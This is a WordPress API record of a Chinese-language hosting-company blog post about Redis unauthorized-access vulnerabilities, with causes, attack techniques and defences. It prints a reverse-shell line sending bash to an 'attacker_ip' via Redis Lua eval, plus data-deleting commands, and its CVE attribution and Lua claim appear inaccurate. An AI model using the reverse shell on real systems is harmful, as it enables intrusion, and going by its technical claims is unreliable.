{"id":129755,"date":"2024-10-27T00:07:24","date_gmt":"2024-10-26T16:07:24","guid":{"rendered":"https:\/\/server.hk\/cnblog\/129755\/"},"modified":"2024-10-27T00:07:26","modified_gmt":"2024-10-26T16:07:26","slug":"redis%e6%9c%aa%e6%8e%88%e6%ac%8a%e6%bc%8f%e6%b4%9e%e5%8d%b1%e6%a9%9f-%e6%ac%8a%e9%99%90%e6%8f%90%e5%8d%87%e6%89%8b%e6%ae%b5%ef%bc%88redis%e6%9c%aa%e6%8e%88%e6%ac%8a%e6%bc%8f%e6%b4%9e%e6%8f%90%e6%ac%8a","status":"publish","type":"post","link":"https:\/\/server.hk\/cnblog\/129755\/","title":{"rendered":"Redis\u672a\u6388\u6b0a\u6f0f\u6d1e\u5371\u6a5f \u6b0a\u9650\u63d0\u5347\u624b\u6bb5\uff08redis\u672a\u6388\u6b0a\u6f0f\u6d1e\u63d0\u6b0a\uff09"},"content":{"rendered":"<h1 id=\"redis%e6%9c%aa%e6%8e%88%e6%ac%8a%e6%bc%8f%e6%b4%9e%e5%8d%b1%e6%a9%9f%ef%bc%9a%e6%ac%8a%e9%99%90%e6%8f%90%e5%8d%87%e6%89%8b%e6%ae%b5-ipODEqlLrT\">Redis\u672a\u6388\u6b0a\u6f0f\u6d1e\u5371\u6a5f\uff1a\u6b0a\u9650\u63d0\u5347\u624b\u6bb5<\/h1>\n<p>\u5728\u7576\u4eca\u7684\u7db2\u7d61\u74b0\u5883\u4e2d\uff0c\u6578\u64da\u5eab\u7684\u5b89\u5168\u6027\u81f3\u95dc\u91cd\u8981\u3002Redis\u4f5c\u70ba\u4e00\u7a2e\u9ad8\u6548\u7684\u9375\u503c\u5b58\u5132\u7cfb\u7d71\uff0c\u5ee3\u6cdb\u61c9\u7528\u65bc\u5404\u7a2e\u61c9\u7528\u7a0b\u5e8f\u4e2d\u3002\u7136\u800c\uff0cRedis\u7684\u672a\u6388\u6b0a\u6f0f\u6d1e\u537b\u6210\u70ba\u4e86\u5b89\u5168\u5c08\u5bb6\u5011\u95dc\u6ce8\u7684\u7126\u9ede\u3002\u672c\u6587\u5c07\u6df1\u5165\u63a2\u8a0eRedis\u672a\u6388\u6b0a\u6f0f\u6d1e\u7684\u5371\u6a5f\u53ca\u5176\u53ef\u80fd\u7684\u6b0a\u9650\u63d0\u5347\u624b\u6bb5\u3002<\/p>\n<h2 id=\"redis%e6%9c%aa%e6%8e%88%e6%ac%8a%e6%bc%8f%e6%b4%9e%e6%a6%82%e8%bf%b0-ipODEqlLrT\">Redis\u672a\u6388\u6b0a\u6f0f\u6d1e\u6982\u8ff0<\/h2>\n<p>Redis\u672a\u6388\u6b0a\u6f0f\u6d1e\u4e3b\u8981\u662f\u6307\u5728\u672a\u7d93\u6388\u6b0a\u7684\u60c5\u6cc1\u4e0b\uff0c\u653b\u64ca\u8005\u53ef\u4ee5\u8a2a\u554fRedis\u670d\u52d9\u5668\uff0c\u4e26\u57f7\u884c\u4efb\u610f\u547d\u4ee4\u3002\u9019\u7a2e\u6f0f\u6d1e\u901a\u5e38\u767c\u751f\u5728Redis\u670d\u52d9\u5668\u672a\u6b63\u78ba\u914d\u7f6e\u7684\u60c5\u6cc1\u4e0b\uff0c\u7279\u5225\u662f\u5728\u958b\u653e\u7684\u7db2\u7d61\u74b0\u5883\u4e2d\u3002\u6839\u64daCVE-2020-14147\u7684\u5831\u544a\uff0c\u653b\u64ca\u8005\u53ef\u4ee5\u5229\u7528\u6b64\u6f0f\u6d1e\u9032\u884c\u6b0a\u9650\u63d0\u5347\uff0c\u5f9e\u800c\u7372\u53d6\u654f\u611f\u6578\u64da\u6216\u63a7\u5236\u6574\u500b\u7cfb\u7d71\u3002<\/p>\n<h2 id=\"%e6%bc%8f%e6%b4%9e%e6%88%90%e5%9b%a0-ipODEqlLrT\">\u6f0f\u6d1e\u6210\u56e0<\/h2>\n<ul>\n<li><strong>\u9ed8\u8a8d\u914d\u7f6e\uff1a<\/strong>Redis\u7684\u9ed8\u8a8d\u914d\u7f6e\u5141\u8a31\u6240\u6709IP\u5730\u5740\u8a2a\u554f\uff0c\u9019\u4f7f\u5f97\u672a\u7d93\u6388\u6b0a\u7684\u8a2a\u554f\u8b8a\u5f97\u5bb9\u6613\u3002<\/li>\n<li><strong>\u7f3a\u4e4f\u8eab\u4efd\u9a57\u8b49\uff1a<\/strong>\u5728\u67d0\u4e9b\u60c5\u6cc1\u4e0b\uff0cRedis\u672a\u555f\u7528\u5bc6\u78bc\u4fdd\u8b77\uff0c\u9019\u4f7f\u5f97\u653b\u64ca\u8005\u53ef\u4ee5\u8f15\u6613\u5730\u9023\u63a5\u5230\u670d\u52d9\u5668\u3002<\/li>\n<li><strong>\u4e0d\u7576\u7684\u7db2\u7d61\u8a2d\u7f6e\uff1a<\/strong>\u5982\u679cRedis\u670d\u52d9\u5668\u66b4\u9732\u5728\u516c\u5171\u4e92\u806f\u7db2\u4e0a\uff0c\u800c\u6c92\u6709\u9069\u7576\u7684\u9632\u706b\u7246\u6216\u5b89\u5168\u7d44\u8a2d\u7f6e\uff0c\u5247\u6703\u589e\u52a0\u88ab\u653b\u64ca\u7684\u98a8\u96aa\u3002<\/li>\n<\/ul>\n<h2 id=\"%e6%ac%8a%e9%99%90%e6%8f%90%e5%8d%87%e6%89%8b%e6%ae%b5-ipODEqlLrT\">\u6b0a\u9650\u63d0\u5347\u624b\u6bb5<\/h2>\n<p>\u653b\u64ca\u8005\u53ef\u4ee5\u5229\u7528Redis\u672a\u6388\u6b0a\u6f0f\u6d1e\u9032\u884c\u6b0a\u9650\u63d0\u5347\uff0c\u4ee5\u4e0b\u662f\u4e00\u4e9b\u5e38\u898b\u7684\u624b\u6bb5\uff1a<\/p>\n<h3 id=\"1-%e5%9f%b7%e8%a1%8c%e4%bb%bb%e6%84%8f%e5%91%bd%e4%bb%a4-ipODEqlLrT\">1. \u57f7\u884c\u4efb\u610f\u547d\u4ee4<\/h3>\n<p>\u653b\u64ca\u8005\u53ef\u4ee5\u901a\u904eRedis CLI\u6216\u5176\u4ed6\u5ba2\u6236\u7aef\u5de5\u5177\u9023\u63a5\u5230\u672a\u7d93\u6388\u6b0a\u7684Redis\u670d\u52d9\u5668\uff0c\u4e26\u57f7\u884c\u4efb\u610f\u547d\u4ee4\u3002\u4f8b\u5982\uff0c\u653b\u64ca\u8005\u53ef\u4ee5\u4f7f\u7528\u4ee5\u4e0b\u547d\u4ee4\u4f86\u7372\u53d6\u7cfb\u7d71\u4fe1\u606f\uff1a<\/p>\n<pre><code>CONFIG GET *;<\/code><\/pre>\n<p>\u9019\u5c07\u8fd4\u56deRedis\u7684\u6240\u6709\u914d\u7f6e\u53c3\u6578\uff0c\u653b\u64ca\u8005\u53ef\u4ee5\u5229\u7528\u9019\u4e9b\u4fe1\u606f\u9032\u4e00\u6b65\u9032\u884c\u653b\u64ca\u3002<\/p>\n<h3 id=\"2-%e6%95%b8%e6%93%9a%e7%af%a1%e6%94%b9-ipODEqlLrT\">2. \u6578\u64da\u7be1\u6539<\/h3>\n<p>\u653b\u64ca\u8005\u53ef\u4ee5\u4fee\u6539\u6216\u522a\u9664Redis\u4e2d\u7684\u6578\u64da\uff0c\u9019\u53ef\u80fd\u6703\u5c0e\u81f4\u61c9\u7528\u7a0b\u5e8f\u7684\u6578\u64da\u5b8c\u6574\u6027\u53d7\u5230\u640d\u5bb3\u3002\u4f8b\u5982\uff0c\u653b\u64ca\u8005\u53ef\u4ee5\u4f7f\u7528\u4ee5\u4e0b\u547d\u4ee4\u4f86\u522a\u9664\u7279\u5b9a\u9375\uff1a<\/p>\n<pre><code>DEL key_name;<\/code><\/pre>\n<h3 id=\"3-%e5%8f%8d%e5%90%91shell-ipODEqlLrT\">3. \u53cd\u5411Shell<\/h3>\n<p>\u5728\u67d0\u4e9b\u60c5\u6cc1\u4e0b\uff0c\u653b\u64ca\u8005\u751a\u81f3\u53ef\u4ee5\u5229\u7528Redis\u7684\u529f\u80fd\u4f86\u5275\u5efa\u53cd\u5411Shell\uff0c\u5f9e\u800c\u7372\u53d6\u5c0d\u670d\u52d9\u5668\u7684\u5b8c\u5168\u63a7\u5236\u6b0a\u3002\u9019\u901a\u5e38\u6d89\u53ca\u5230\u5229\u7528Redis\u7684Lua\u8173\u672c\u529f\u80fd\u4f86\u57f7\u884c\u7cfb\u7d71\u547d\u4ee4\u3002<\/p>\n<pre><code>eval \"os.execute('bash -i &gt;&amp; \/dev\/tcp\/attacker_ip\/port 0&gt;&amp;1')\" 0<\/code><\/pre>\n<h2 id=\"%e9%98%b2%e7%af%84%e6%8e%aa%e6%96%bd-ipODEqlLrT\">\u9632\u7bc4\u63aa\u65bd<\/h2>\n<p>\u70ba\u4e86\u9632\u6b62Redis\u672a\u6388\u6b0a\u6f0f\u6d1e\u7684\u767c\u751f\uff0c\u5efa\u8b70\u63a1\u53d6\u4ee5\u4e0b\u9632\u7bc4\u63aa\u65bd\uff1a<\/p>\n<ul>\n<li><strong>\u914d\u7f6e\u5bc6\u78bc\u4fdd\u8b77\uff1a<\/strong>\u5728Redis\u914d\u7f6e\u6587\u4ef6\u4e2d\u555f\u7528\u5bc6\u78bc\u4fdd\u8b77\uff0c\u78ba\u4fdd\u53ea\u6709\u6388\u6b0a\u7528\u6236\u53ef\u4ee5\u8a2a\u554f\u3002<\/li>\n<li><strong>\u9650\u5236IP\u8a2a\u554f\uff1a<\/strong>\u901a\u904e\u9632\u706b\u7246\u6216\u5b89\u5168\u7d44\u8a2d\u7f6e\uff0c\u9650\u5236\u53ef\u4ee5\u8a2a\u554fRedis\u670d\u52d9\u5668\u7684IP\u5730\u5740\u3002<\/li>\n<li><strong>\u5b9a\u671f\u66f4\u65b0\uff1a<\/strong>\u4fdd\u6301Redis\u53ca\u5176\u4f9d\u8cf4\u9805\u7684\u6700\u65b0\u7248\u672c\uff0c\u4ee5\u4fee\u88dc\u5df2\u77e5\u7684\u5b89\u5168\u6f0f\u6d1e\u3002<\/li>\n<\/ul>\n<h2 id=\"%e7%b8%bd%e7%b5%90-ipODEqlLrT\">\u7e3d\u7d50<\/h2>\n<p>Redis\u672a\u6388\u6b0a\u6f0f\u6d1e\u662f\u4e00\u500b\u56b4\u91cd\u7684\u5b89\u5168\u554f\u984c\uff0c\u53ef\u80fd\u5c0e\u81f4\u6578\u64da\u6d29\u9732\u548c\u7cfb\u7d71\u63a7\u5236\u6b0a\u7684\u55aa\u5931\u3002\u901a\u904e\u6b63\u78ba\u7684\u914d\u7f6e\u548c\u5b89\u5168\u63aa\u65bd\uff0c\u53ef\u4ee5\u6709\u6548\u964d\u4f4e\u6b64\u985e\u6f0f\u6d1e\u7684\u98a8\u96aa\u3002\u5c0d\u65bc\u9700\u8981\u9ad8\u6548\u6578\u64da\u5b58\u5132\u89e3\u6c7a\u65b9\u6848\u7684\u7528\u6236\uff0c\u9078\u64c7\u5408\u9069\u7684 <a href=\"https:\/\/server.hk\">VPS<\/a> \u6216 <a href=\"https:\/\/server.hk\">\u9999\u6e2f\u4f3a\u670d\u5668<\/a> \u662f\u81f3\u95dc\u91cd\u8981\u7684\uff0c\u4ee5\u78ba\u4fdd\u6578\u64da\u7684\u5b89\u5168\u6027\u548c\u53ef\u9760\u6027\u3002<\/p>\n","protected":false},"excerpt":{"rendered":"<p>Redis\u672a\u6388\u6b0a\u6f0f\u6d1e\u5371\u6a5f\u5206\u6790\uff0c\u63a2\u8a0e\u6b0a\u9650\u63d0\u5347\u624b\u6bb5\u53ca\u5176\u5f71\u97ff\uff0c\u5e6b\u52a9\u4f01\u696d\u52a0\u5f37\u5b89\u5168\u9632\u8b77\u63aa\u65bd\u3002<\/p>\n","protected":false},"author":0,"featured_media":0,"comment_status":"closed","ping_status":"","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[101],"tags":[],"class_list":["post-129755","post","type-post","status-publish","format-standard","hentry","category-database"],"_links":{"self":[{"href":"https:\/\/server.hk\/cnblog\/wp-json\/wp\/v2\/posts\/129755","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/server.hk\/cnblog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/server.hk\/cnblog\/wp-json\/wp\/v2\/types\/post"}],"replies":[{"embeddable":true,"href":"https:\/\/server.hk\/cnblog\/wp-json\/wp\/v2\/comments?post=129755"}],"version-history":[{"count":1,"href":"https:\/\/server.hk\/cnblog\/wp-json\/wp\/v2\/posts\/129755\/revisions"}],"predecessor-version":[{"id":129756,"href":"https:\/\/server.hk\/cnblog\/wp-json\/wp\/v2\/posts\/129755\/revisions\/129756"}],"wp:attachment":[{"href":"https:\/\/server.hk\/cnblog\/wp-json\/wp\/v2\/media?parent=129755"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/server.hk\/cnblog\/wp-json\/wp\/v2\/categories?post=129755"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/server.hk\/cnblog\/wp-json\/wp\/v2\/tags?post=129755"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}